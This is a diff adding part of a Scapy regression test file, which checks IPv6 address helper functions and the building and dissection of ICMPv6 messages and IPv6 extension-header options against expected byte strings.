+= in6_getLinkScopedMcastAddr() : default generation
+a = in6_getLinkScopedMcastAddr(addr="FE80::") 
+a == 'ff32:ff::'
+
+= in6_getLinkScopedMcastAddr() : different valid scope values
+a = in6_getLinkScopedMcastAddr(addr="FE80::", scope=0) 
+b = in6_getLinkScopedMcastAddr(addr="FE80::", scope=1) 
+c = in6_getLinkScopedMcastAddr(addr="FE80::", scope=2) 
+d = in6_getLinkScopedMcastAddr(addr="FE80::", scope=3) 
+a == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None
+
+= in6_getLinkScopedMcastAddr() : grpid in different formats
+a = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=b"\x12\x34\x56\x78") 
+b = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="12345678")
+c = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=305419896)
+a == b and b == c 
+
+
+########### ethernet address to iface ID conversion #################
+
+= in6_mactoifaceid() conversion function (test 1)
+in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000'
+
+= in6_mactoifaceid() conversion function (test 2)
+in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000'
+
+= in6_mactoifaceid() conversion function (test 3)
+in6_mactoifaceid("FD:00:00:00:00:00") == 'FF00:00FF:FE00:0000'
+
+= in6_mactoifaceid() conversion function (test 4)
+in6_mactoifaceid("FF:00:00:00:00:00") == 'FD00:00FF:FE00:0000'
+
+= in6_mactoifaceid() conversion function (test 5)
+in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000'
+
+= in6_mactoifaceid() conversion function (test 6)
+in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000'
+
+########### iface ID conversion #################
+
+= in6_mactoifaceid() conversion function (test 1)
+in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00'
+
+= in6_mactoifaceid() conversion function (test 2)
+in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00'
+
+= in6_mactoifaceid() conversion function (test 3)
+in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00'
+
+= in6_mactoifaceid() conversion function (test 4)
+in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00'
+
+= in6_mactoifaceid() conversion function (test 5)
+in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00'
+
+= in6_mactoifaceid() conversion function (test 6)
+in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00'
+
+
+= in6_addrtomac() conversion function (test 1)
+in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00'
+
+= in6_addrtomac() conversion function (test 2)
+in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00'
+
+= in6_addrtomac() conversion function (test 3)
+in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00'
+
+= in6_addrtomac() conversion function (test 4)
+in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00'
+
+= in6_addrtomac() conversion function (test 5)
+in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00'
+
+= in6_addrtomac() conversion function (test 6)
+in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00'
+
+########### RFC 3041 related function ###############################
+= Test in6_getRandomizedIfaceId
+import socket
+
+res=True
+for a in six.moves.range(10):
+    s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3')
+    inet_pton(socket.AF_INET6, '::'+s1)
+    tmp2 = inet_pton(socket.AF_INET6, '::'+s2)
+    res = res and ((orb(s1[0]) & 0x04) == 0x04)
+    s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=tmp2)
+    tmp = inet_pton(socket.AF_INET6, '::'+s1)
+    inet_pton(socket.AF_INET6, '::'+s2)
+    res = res and ((orb(s1[0]) & 0x04) == 0x04)
+
+########### RFC 1924 related function ###############################
+= Test RFC 1924 function - in6_ctop() basic test
+in6_ctop("4)+k&C#VzJ4br>0wv%Yp") == '1080::8:800:200c:417a'
+
+= Test RFC 1924 function - in6_ctop() with character outside charset
+in6_ctop("4)+k&C#VzJ4br>0wv%Y'") == None
+
+= Test RFC 1924 function - in6_ctop() with bad length address
+in6_ctop("4)+k&C#VzJ4br>0wv%Y") == None
+
+= Test RFC 1924 function - in6_ptoc() basic test
+in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp'
+
+= Test RFC 1924 function - in6_ptoc() basic test
+in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp'
+
+= Test RFC 1924 function - in6_ptoc() with bad input
+in6_ptoc('1080:::8:800:200c:417a') == None
+
+########### in6_getAddrType #########################################
+
+= in6_getAddrType - 6to4 addresses
+in6_getAddrType("2002::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4)
+
+= in6_getAddrType - Assignable Unicast global address
+in6_getAddrType("2001:db8::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL)
+
+= in6_getAddrType - Multicast global address
+in6_getAddrType("FF0E::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST)
+
+= in6_getAddrType - Multicast local address
+in6_getAddrType("FF02::1") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST)
+
+= in6_getAddrType - Unicast Link-Local address
+in6_getAddrType("FE80::") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL)
+
+= in6_getAddrType - Loopback address
+in6_getAddrType("::1") == IPV6_ADDR_LOOPBACK
+
+= in6_getAddrType - Unspecified address
+in6_getAddrType("::") == IPV6_ADDR_UNSPECIFIED
+
+= in6_getAddrType - Unassigned Global Unicast address
+in6_getAddrType("4000::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)
+
+= in6_getAddrType - Weird address (FE::1)
+in6_getAddrType("FE::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)
+
+= in6_getAddrType - Weird address (FE8::1)
+in6_getAddrType("FE8::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)
+
+= in6_getAddrType - Weird address (1::1)
+in6_getAddrType("1::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)
+
+= in6_getAddrType - Weird address (1000::1)
+in6_getAddrType("1000::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)
+
+########### ICMPv6DestUnreach Class #################################
+
+= ICMPv6DestUnreach Class - Basic Build (no argument)
+raw(ICMPv6DestUnreach()) == b'\x01\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload)
+raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x14e\x00\x00\x00\x00'
+
+= ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload
+raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x8e\xa3\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca'
+
+= ICMPv6DestUnreach Class - Dissection with default values and some payload
+a = IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")))
+a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a
+
+= ICMPv6DestUnreach Class - Dissection with specific values
+a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")))
+a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach]
+
+= ICMPv6DestUnreach Class - checksum computation related stuff
+a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP()))
+b=IPv6(raw(IPv6(src="2047::cafe", dst="2048::deca")/TCP()))
+a[ICMPv6DestUnreach][TCPerror].chksum == b.chksum
+
+
+########### ICMPv6PacketTooBig Class ################################
+
+= ICMPv6PacketTooBig Class - Basic Build (no argument)
+raw(ICMPv6PacketTooBig()) == b'\x02\x00\x00\x00\x00\x00\x05\x00'
+
+= ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload)
+raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x0ee\x00\x00\x05\x00'
+
+= ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload
+raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x88\xa3\x00\x00\x05\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca'
+
+= ICMPv6PacketTooBig Class - Dissection with default values and some payload
+a = IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")))
+a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a
+True
+
+= ICMPv6PacketTooBig Class - Dissection with specific values
+a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src="2047::cafe", dst="2048::deca")))
+a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a
+
+= ICMPv6PacketTooBig Class - checksum computation related stuff
+a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP()))
+b=IPv6(raw(IPv6(src="2047::cafe", dst="2048::deca")/TCP()))
+a[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum
+
+
+########### ICMPv6TimeExceeded Class ################################
+# To be done but not critical. Same mechanisms and format as 
+# previous ones.
+
+########### ICMPv6ParamProblem Class ################################
+# See previous note
+
+############
+############
++ Test ICMPv6EchoRequest Class
+
+= ICMPv6EchoRequest - Basic Instantiation
+raw(ICMPv6EchoRequest()) == b'\x80\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6EchoRequest - Instantiation with specific values
+raw(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x80\xff\x11\x11""33thisissomestring'
+
+= ICMPv6EchoRequest - Basic dissection
+a=ICMPv6EchoRequest(b'\x80\x00\x00\x00\x00\x00\x00\x00')
+a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b""
+
+= ICMPv6EchoRequest - Dissection with specific values 
+a=ICMPv6EchoRequest(b'\x80\xff\x11\x11""33thisissomerawing')
+a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomerawing"
+
+= ICMPv6EchoRequest - Automatic checksum computation and field overloading (build)
+raw(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoRequest()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00'
+
+= ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection)
+a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00')
+isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1
+
+
+############
+############
++ Test ICMPv6EchoReply Class
+
+= ICMPv6EchoReply - Basic Instantiation
+raw(ICMPv6EchoReply()) == b'\x81\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6EchoReply - Instantiation with specific values
+raw(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x81\xff\x11\x11""33thisissomestring'
+
+= ICMPv6EchoReply - Basic dissection
+a=ICMPv6EchoReply(b'\x80\x00\x00\x00\x00\x00\x00\x00')
+a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b""
+
+= ICMPv6EchoReply - Dissection with specific values 
+a=ICMPv6EchoReply(b'\x80\xff\x11\x11""33thisissomerawing')
+a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomerawing"
+
+= ICMPv6EchoReply - Automatic checksum computation and field overloading (build)
+raw(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoReply()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x81\x00\x94\xf1\x00\x00\x00\x00'
+
+= ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection)
+a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00')
+isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1
+
+########### ICMPv6EchoReply/Request answers() and hashret() #########
+
+= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1
+b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata")
+a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata")
+b.hashret() == a.hashret()
+
+# data are not taken into account for hashret
+= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2
+b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata")
+a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="otherdata")
+b.hashret() == a.hashret()
+
+= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3
+b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata")
+a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data="somedata")
+b.hashret() != a.hashret()
+
+= ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4
+b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata")
+a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data="somedata")
+b.hashret() != a.hashret()
+
+= ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5
+b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata")
+a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata")
+(a > b) == True
+
+= ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6
+b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data="somedata")
+a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data="somedata")
+(a > b) == True
+
+= ICMPv6EchoRequest and ICMPv6EchoReply - live answers() use Net6
+~ netaccess ipv6
+
+a = IPv6(dst="www.google.com")/ICMPv6EchoRequest()
+b = IPv6(src="www.google.com", dst=a.src)/ICMPv6EchoReply()
+assert b.answers(a)
+assert (a > b)
+
+
+########### ICMPv6MRD* Classes ######################################
+
+= ICMPv6MRD_Advertisement - Basic instantiation
+raw(ICMPv6MRD_Advertisement()) == b'\x97\x14\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6MRD_Advertisement - Instantiation with specific values
+raw(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == b'\x97\xdd\x00\x00\xee\xee\xff\xff'
+
+= ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms
+a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Advertisement()))
+a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0
+
+
+= ICMPv6MRD_Solicitation - Basic dissection
+raw(ICMPv6MRD_Solicitation()) == b'\x98\x00\x00\x00'
+
+= ICMPv6MRD_Solicitation - Instantiation with specific values 
+raw(ICMPv6MRD_Solicitation(res=0xbb)) == b'\x98\xbb\x00\x00'
+
+= ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms
+a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Solicitation()))
+a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0
+
+
+= ICMPv6MRD_Termination Basic instantiation
+raw(ICMPv6MRD_Termination()) == b'\x99\x00\x00\x00'
+
+= ICMPv6MRD_Termination - Instantiation with specific values 
+raw(ICMPv6MRD_Termination(res=0xbb)) == b'\x99\xbb\x00\x00'
+
+= ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms
+a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Termination()))
+a.dst == "33:33:00:00:00:6a" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::6a" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0
+
+
+############
+############
++ Test HBHOptUnknown Class
+
+= HBHOptUnknown - Basic Instantiation 
+raw(HBHOptUnknown()) == b'\x01\x00'
+
+= HBHOptUnknown - Basic Dissection 
+a=HBHOptUnknown(b'\x01\x00')
+a.otype == 0x01 and a.optlen == 0 and a.optdata == b""
+
+= HBHOptUnknown - Automatic optlen computation
+raw(HBHOptUnknown(optdata="B"*10)) == b'\x01\nBBBBBBBBBB'
+
+= HBHOptUnknown - Instantiation with specific values
+raw(HBHOptUnknown(optlen=9, optdata="B"*10)) == b'\x01\tBBBBBBBBBB'
+
+= HBHOptUnknown - Dissection with specific values 
+a=HBHOptUnknown(b'\x01\tBBBBBBBBBB')
+a.otype == 0x01 and a.optlen == 9 and a.optdata == b"B"*9 and isinstance(a.payload, Raw) and a.payload.load == b"B"
+
+
+############
+############
++ Test Pad1 Class
+
+= Pad1 - Basic Instantiation
+raw(Pad1()) == b'\x00'
+
+= Pad1 - Basic Dissection
+raw(Pad1(b'\x00')) == b'\x00'
+
+
+############
+############
++ Test PadN Class
+
+= PadN - Basic Instantiation
+raw(PadN()) == b'\x01\x00'
+
+= PadN - Optlen Automatic computation
+raw(PadN(optdata="B"*10)) == b'\x01\nBBBBBBBBBB'
+
+= PadN - Basic Dissection
+a=PadN(b'\x01\x00')
+a.otype == 1 and a.optlen == 0 and a.optdata == b""
+
+= PadN - Dissection with specific values 
+a=PadN(b'\x01\x0cBBBBBBBBBB')
+a.otype == 1 and a.optlen == 12 and a.optdata == b'BBBBBBBBBB'
+
+= PadN - Instantiation with forced optlen 
+raw(PadN(optdata="B"*10, optlen=9)) == b'\x01\x09BBBBBBBBBB'
+
+
+############
+############
++ Test RouterAlert Class (RFC 2711)
+
+= RouterAlert - Basic Instantiation 
+raw(RouterAlert()) == b'\x05\x02\x00\x00'
+
+= RouterAlert - Basic Dissection 
+a=RouterAlert(b'\x05\x02\x00\x00')
+a.otype == 0x05 and a.optlen == 2 and a.value == 00
+
+= RouterAlert - Instantiation with specific values 
+raw(RouterAlert(optlen=3, value=0xffff)) == b'\x05\x03\xff\xff' 
+
+= RouterAlert - Instantiation with specific values
+a=RouterAlert(b'\x05\x03\xff\xff')
+a.otype == 0x05 and a.optlen == 3 and a.value == 0xffff
+
+
+############
+############
++ Test Jumbo Class (RFC 2675)
+
+= Jumbo - Basic Instantiation 
+raw(Jumbo()) == b'\xc2\x04\x00\x00\x00\x00'
+
+= Jumbo - Basic Dissection 
+a=Jumbo(b'\xc2\x04\x00\x00\x00\x00')
+a.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0
+
+= Jumbo - Instantiation with specific values
+raw(Jumbo(optlen=6, jumboplen=0xffffffff)) == b'\xc2\x06\xff\xff\xff\xff'
+
+= Jumbo - Dissection with specific values 
+a=Jumbo(b'\xc2\x06\xff\xff\xff\xff')
+a.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff
+
+
+############
+############
++ Test HAO Class (RFC 3775)
+
+= HAO - Basic Instantiation 
+raw(HAO()) == b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= HAO - Basic Dissection 
+a=HAO(b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.otype == 0xC9 and a.optlen == 16 and a.hoa == "::"
+
+= HAO - Instantiation with specific values
+raw(HAO(optlen=9, hoa="2001::ffff")) == b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff'
+
+= HAO - Dissection with specific values 
+a=HAO(b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff')
+a.otype == 0xC9 and a.optlen == 9 and a.hoa == "2001::ffff"
+
+= HAO - hashret
+
+p = IPv6()/IPv6ExtHdrDestOpt(options=HAO(hoa="2001:db8::1"))/ICMPv6EchoRequest()
+p.hashret() == b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00"
+
+
+############
+############
++ Test IPv6ExtHdrHopByHop()
+
+= IPv6ExtHdrHopByHop - Basic Instantiation 
+raw(IPv6ExtHdrHopByHop()) ==  b';\x00\x01\x04\x00\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with HAO option
+raw(IPv6ExtHdrHopByHop(options=[HAO()])) == b';\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with RouterAlert option
+raw(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == b';\x00\x05\x02\x00\x00\x01\x00'
+ 
+= IPv6ExtHdrHopByHop - Instantiation with Jumbo option
+raw(IPv6ExtHdrHopByHop(options=[Jumbo()])) == b';\x00\xc2\x04\x00\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with Pad1 option
+raw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with PadN option
+raw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO
+raw(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == b';\x03\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert
+raw(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == b';\x04\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x02\x00\x00'
+
+= IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo
+raw(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == b';\x03\x05\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00'
+
+= IPv6ExtHdrHopByHop - Basic Dissection
+a=IPv6ExtHdrHopByHop(b';\x00\x01\x04\x00\x00\x00\x00')
+a.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == b'\x00'*4
+
+#= IPv6ExtHdrHopByHop - Automatic length computation
+#raw(IPv6ExtHdrHopByHop(options=["toto"])) == b'\x00\x00toto'
+#= IPv6ExtHdrHopByHop - Automatic length computation
+#raw(IPv6ExtHdrHopByHop(options=["toto"])) == b'\x00\x00tototo'
+
+
+############
+############
++ Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0
+
+= ICMPv6ND_RS - Basic instantiation
+raw(ICMPv6ND_RS()) == b'\x85\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer
+raw(IPv6(src="2001:db8::1")/ICMPv6ND_RS()) == b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00'
+
+= ICMPv6ND_RS - Basic dissection
+a=ICMPv6ND_RS(b'\x85\x00\x00\x00\x00\x00\x00\x00')
+a.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 
+
+= ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer
+a=IPv6(b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00')
+isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0
+
+
+############
+############
++ Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0
+
